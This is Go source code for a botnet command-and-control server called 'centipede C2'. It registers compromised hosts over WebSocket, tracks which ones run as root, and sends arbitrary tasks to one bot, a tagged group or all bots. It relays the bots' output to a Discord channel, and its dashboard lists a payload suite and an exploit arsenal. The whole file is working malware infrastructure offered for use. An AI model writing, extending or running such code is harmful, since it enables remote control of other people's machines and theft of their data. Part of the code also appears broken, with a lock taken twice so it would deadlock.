package main import ( "crypto/rand" "encoding/hex" "encoding/json" "flag" "fmt" "html/template" "io" "log" "net/http" "os" "os/signal" "sync" "syscall" "time" "github.com/bwmarrin/discordgo" "github.com/gorilla/mux" "github.com/gorilla/websocket" ) type Bot struct { ID string `json:"id"` Hostname string `json:"hostname"` IP string `json:"ip"` OS string `json:"os"` Arch string `json:"arch"` Kernel string `json:"kernel"` FirstSeen time.Time `json:"first_seen"` LastSeen time.Time `json:"last_seen"` Layer int `json:"c2_layer"` Tag string `json:"tag"` Privilege string `json:"privilege"` Connected bool `json:"connected"` Pending int `json:"pending_tasks"` } type Command struct { ID string `json:"id"` BotID string `json:"bot_id"` Action string `json:"action"` Args string `json:"args"` Status string `json:"status"` Result string `json:"result"` CreatedAt time.Time `json:"created_at"` Target string `json:"target"` } type C2Server struct { mu sync.RWMutex bots map[string]*Bot commands map[string]*Command wsClients map[string]*websocket.Conn upgrader websocket.Upgrader discordSession *discordgo.Session discordChanID string } func NewC2Server() *C2Server { return &C2Server{ bots: make(map[string]*Bot), commands: make(map[string]*Command), wsClients: make(map[string]*websocket.Conn), upgrader: websocket.Upgrader{ CheckOrigin: func(r *http.Request) bool { return true }, }, } } func main() { var ( addr = flag.String("addr", ":8443", "Listen address") discordTok = flag.String("discord-token", "", "Discord bot token") discordChan = flag.String("discord-channel", "", "Discord channel ID") certFile = flag.String("cert", "", "TLS cert file") keyFile = flag.String("key", "", "TLS key file") ) flag.Parse() log.SetFlags(log.LstdFlags | log.Lshortfile) srv := NewC2Server() if *discordTok != "" && *discordChan != "" { go srv.startDiscord(*discordTok, *discordChan) } r := mux.NewRouter() api := r.PathPrefix("/api").Subrouter() api.HandleFunc("/bots", srv.handleBots).Methods("GET") api.HandleFunc("/bots/{id}", srv.handleBotDetail).Methods("GET") api.HandleFunc("/bots/{id}/tag", srv.handleTagBot).Methods("POST") api.HandleFunc("/command", srv.handleSendCommand).Methods("POST") api.HandleFunc("/commands", srv.handleCommands).Methods("GET") api.HandleFunc("/stats", srv.handleStats).Methods("GET") r.HandleFunc("/ws", srv.handleWebSocket) r.HandleFunc("/ws/bot", srv.handleBotWS) r.HandleFunc("/", srv.handleDashboard) r.PathPrefix("/static/").Handler( http.StripPrefix("/static/", http.FileServer(http.Dir("web/static")))) httpSrv := &http.Server{ Addr: *addr, Handler: r, } go func() { if *certFile != "" && *keyFile != "" { log.Printf("[c2d] listening on https://%s", *addr) log.Fatal(httpSrv.ListenAndServeTLS(*certFile, *keyFile)) } else { log.Printf("[c2d] listening on http://%s", *addr) log.Fatal(httpSrv.ListenAndServe()) } }() sigCh := make(chan os.Signal, 1) signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM) <-sigCh } func (s *C2Server) handleDashboard(w http.ResponseWriter, r *http.Request) { w.Header().Set("Content-Type", "text/html") tmpl := template.Must(template.New("dashboard").Parse(dashboardHTML)) tmpl.Execute(w, s.getStats()) } func (s *C2Server) handleBots(w http.ResponseWriter, r *http.Request) { s.mu.RLock() defer s.mu.RUnlock() list := make([]*Bot, 0, len(s.bots)) for _, b := range s.bots { list = append(list, b) } writeJSON(w, list) } func (s *C2Server) handleBotDetail(w http.ResponseWriter, r *http.Request) { vars := mux.Vars(r) s.mu.RLock() bot, ok := s.bots[vars["id"]] s.mu.RUnlock() if !ok { http.Error(w, "not found", http.StatusNotFound) return } writeJSON(w, bot) } func (s *C2Server) handleTagBot(w http.ResponseWriter, r *http.Request) { vars := mux.Vars(r) var req struct{ Tag string `json:"tag"` } json.NewDecoder(r.Body).Decode(&req) s.mu.Lock() if bot, ok := s.bots[vars["id"]]; ok { bot.Tag = req.Tag } s.mu.Unlock() writeJSON(w, map[string]string{"status": "ok"}) } func (s *C2Server) handleSendCommand(w http.ResponseWriter, r *http.Request) { var req struct { BotID string `json:"bot_id"` Tag string `json:"tag"` Action string `json:"action"` Args string `json:"args"` } json.NewDecoder(r.Body).Decode(&req) cmdID := genID() cmd := &Command{ ID: cmdID, BotID: req.BotID, Action: req.Action, Args: req.Args, Status: "pending", CreatedAt: time.Now(), } s.mu.Lock() s.commands[cmdID] = cmd if req.Tag != "" { for _, bot := range s.bots { if bot.Tag == req.Tag { s.sendToBot(bot.ID, cmd) } } } else if req.BotID == "" { for _, bot := range s.bots { s.sendToBot(bot.ID, cmd) } } else { s.sendToBot(req.BotID, cmd) } s.mu.Unlock() writeJSON(w, cmd) } func (s *C2Server) sendToBot(botID string, cmd *Command) { s.mu.RLock() conn, ok := s.wsClients[botID] s.mu.RUnlock() if !ok { return } conn.WriteJSON(map[string]interface{}{ "t": "task", "id": cmd.ID, "act": cmd.Action, "args": cmd.Args, }) } func (s *C2Server) handleCommands(w http.ResponseWriter, r *http.Request) { s.mu.RLock() defer s.mu.RUnlock() list := make([]*Command, 0, len(s.commands)) for _, c := range s.commands { list = append(list, c) } writeJSON(w, list) } func (s *C2Server) handleStats(w http.ResponseWriter, r *http.Request) { writeJSON(w, s.getStats()) } func (s *C2Server) getStats() map[string]interface{} { s.mu.RLock() defer s.mu.RUnlock() connected := 0 root := 0 for _, b := range s.bots { if b.Connected { connected++ } if b.Privilege == "root" { root++ } } return map[string]interface{}{ "total_bots": len(s.bots), "connected": connected, "root_bots": root, "pending_cmds": len(s.commands), "version": "0.1.0", } } func (s *C2Server) handleWebSocket(w http.ResponseWriter, r *http.Request) { conn, err := s.upgrader.Upgrade(w, r, nil) if err != nil { return } defer conn.Close() for { _, _, err := conn.ReadMessage() if err != nil { break } } } func (s *C2Server) handleBotWS(w http.ResponseWriter, r *http.Request) { conn, err := s.upgrader.Upgrade(w, r, nil) if err != nil { return } var botID string for { var msg map[string]interface{} if err := conn.ReadJSON(&msg); err != nil { break } msgType, _ := msg["t"].(string) botID, _ = msg["bid"].(string) switch msgType { case "register": hostname, _ := msg["hostname"].(string) bot := &Bot{ ID: botID, Hostname: hostname, FirstSeen: time.Now(), LastSeen: time.Now(), Connected: true, } s.mu.Lock() s.wsClients[botID] = conn s.bots[botID] = bot s.mu.Unlock() case "result": taskID, _ := msg["tid"].(string) ok, _ := msg["ok"].(bool) output, _ := msg["out"].(string) s.mu.Lock() if cmd, exists := s.commands[taskID]; exists { cmd.Status = "completed" cmd.Result = output if !ok { cmd.Status = "failed" } } s.mu.Unlock() if s.discordSession != nil { content := fmt.Sprintf("```\n[%s] %s\n%s\n```", taskID, botID, output) s.discordSession.ChannelMessageSend(s.discordChanID, content) } case "ping": s.mu.Lock() if bot, ok := s.bots[botID]; ok { bot.LastSeen = time.Now() bot.Connected = true } s.mu.Unlock() conn.WriteJSON(map[string]string{"t": "pong"}) } } s.mu.Lock() if bot, ok := s.bots[botID]; ok { bot.Connected = false } delete(s.wsClients, botID) s.mu.Unlock() } func (s *C2Server) startDiscord(token, channelID string) { sess, err := discordgo.New("Bot " + token) if err != nil { log.Printf("[c2d] discord: %v", err) return } s.discordChanID = channelID sess.AddHandler(func(s *discordgo.Session, m *discordgo.MessageCreate) { if m.ChannelID != channelID || m.Author.ID == s.State.User.ID { return } }) intents := discordgo.IntentGuildMessages | discordgo.IntentMessageContent sess.Identify.Intents = intents if err := sess.Open(); err != nil { log.Printf("[c2d] discord open: %v", err) return } sess.ChannelMessageSend(channelID, "**centipede C2 online**") s.discordSession = sess } func writeJSON(w http.ResponseWriter, v interface{}) { w.Header().Set("Content-Type", "application/json") json.NewEncoder(w).Encode(v) } func genID() string { b := make([]byte, 12) io.ReadFull(rand.Reader, b) return hex.EncodeToString(b) } const dashboardHTML = ` centipede C2

Dashboard

Bot Activity
Quick Command

Bots

IDHostnameStatusPrivilegeTagCommand

Command History

IDActionStatusResult

Payload Suite

Exploit Arsenal

`